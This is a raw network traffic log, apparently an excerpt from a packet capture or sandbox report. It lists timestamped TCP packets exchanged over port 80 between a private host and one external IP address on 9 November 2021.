Nov 9, 2021 22:21:13.693389893 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693448067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693479061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693516016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693517923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693557024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693591118 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693597078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693612099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693638086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693651915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693675041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693696022 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693715096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693727970 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693754911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693778038 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693792105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693809986 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693830967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693860054 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693870068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693886995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693912029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693934917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693952084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.693983078 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.693989992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694009066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694031954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694051027 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694071054 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694093943 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694108009 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694137096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694147110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694154978 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694185972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694217920 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694225073 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694242001 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694266081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694283009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694302082 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694333076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694343090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694360018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694381952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694411039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694420099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694447041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694458961 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694482088 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694498062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694515944 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694536924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694576979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694590092 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694613934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694632053 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694653034 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694684029 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694693089 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694715023 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694731951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694756031 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694772005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694797039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694809914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694829941 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694849014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694873095 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694890022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694905043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694928885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694948912 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.694968939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.694983006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695007086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695044041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695045948 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695060015 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695085049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695106983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695123911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695138931 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695164919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695193052 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695204973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695219040 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695241928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695271015 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695281029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695300102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695319891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695350885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695358038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695377111 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695396900 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695415974 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695436001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695462942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695475101 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695507050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695514917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695528984 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695553064 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695574045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695591927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695633888 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695672035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695710897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695751905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695815086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695857048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695894003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695909023 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.695931911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.695971012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696008921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696017981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696031094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696048021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696084023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696103096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696122885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696163893 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696170092 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696202040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696223974 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696240902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696280956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696307898 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696316957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696356058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696393967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696407080 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696432114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696456909 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696471930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696508884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696542025 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696547031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696584940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696620941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.696644068 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.696861982 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.700268030 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.985611916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.985668898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.985726118 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.985785007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.985914946 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.986032009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.998641968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998694897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998753071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998756886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.998811960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998866081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998868942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.998923063 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998979092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.998986006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999034882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999092102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999109983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999146938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999203920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999209881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999259949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999317884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999330044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999377966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999432087 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999432087 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999488115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999538898 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999541044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999596119 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999641895 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999650955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999710083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999757051 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999763012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999821901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999871016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.999876022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999933004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999985933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.999989986 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000041008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000096083 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000097990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000154018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000200987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000209093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000267029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000319004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000324011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000375032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000422001 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000431061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000485897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000539064 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000539064 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000595093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000650883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000669003 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000709057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000756979 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000761986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000818014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000868082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.000922918 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.000977993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001029015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001034975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001087904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001137972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001141071 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001194954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001245022 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001245975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001301050 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001357079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001362085 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001415014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001462936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001468897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001526117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001574993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001583099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001641035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001694918 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001698971 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001750946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001796007 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001800060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001857996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001909018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.001915932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.001964092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002016068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002034903 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002074957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002131939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002141953 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002188921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002237082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002244949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002302885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002351999 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002353907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002409935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002460957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002466917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002532005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002580881 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002597094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002635956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002686024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002690077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002759933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002810955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002830029 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002866983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002923965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.002927065 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.002979994 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003034115 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003043890 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003101110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003149033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003155947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003212929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003263950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003264904 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003318071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003364086 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003371954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003427982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003480911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003489017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003540039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003588915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003591061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003645897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003695965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003700972 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003752947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003803015 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003806114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003863096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003916979 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.003917933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.003974915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004023075 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004024029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004085064 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004133940 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004137039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004194021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004240990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004249096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004306078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004352093 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004360914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004419088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004466057 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004473925 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004530907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004576921 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004585981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004642010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004693985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004698038 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004750013 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004793882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004796028 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004841089 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004909992 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.004926920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.004983902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005033016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005038977 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005096912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005146027 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005151033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005208969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005259037 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005268097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005316973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005321980 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005374908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005377054 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005425930 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005434036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005480051 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005491018 CET	80	49813	47.74.84.15	192.168.2.4
